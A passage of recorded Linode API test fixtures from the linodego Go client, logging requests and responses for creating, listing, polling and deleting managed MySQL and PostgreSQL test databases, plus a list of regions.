Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 1871, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "459" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/instances method: GET response: body: '{"data": [{"id": 23355, "label": "tf_test-8585210487497797453", "type": "g6-nanode-1", "engine": "mysql", "version": "5.7.39", "region": "us-iad", "status": "provisioning", "encrypted": false, "allow_list": [], "cluster_size": 1, "hosts": {"primary": null, "secondary": null}, "port": 3306, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "instance_uri": "/v4/databases/mysql/instances/23355"}, {"id": 28215, "label": "go-postgres-testing-def", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": "lin-28215-11370-pgsql-primary.servers.linodedb.net", "secondary": "lin-28215-11370-pgsql-primary-private.servers.linodedb.net"}, "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 1, "day_of_week": 7, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "instance_uri": "/v4/databases/postgresql/instances/28215"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28215 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDatabase_MySQL_Suite.yaml000066400000000000000000027712731455402072200322240ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-mysql-test-def","region":"ap-west","type":"g6-nanode-1","engine":"mysql/8.0.30","allow_list":["203.0.113.1","192.0.1.0/24"],"replication_type":"semi_synch","cluster_size":3}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances method: POST response: body: '{"id": 28254, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "provisioning", "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": 3, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' 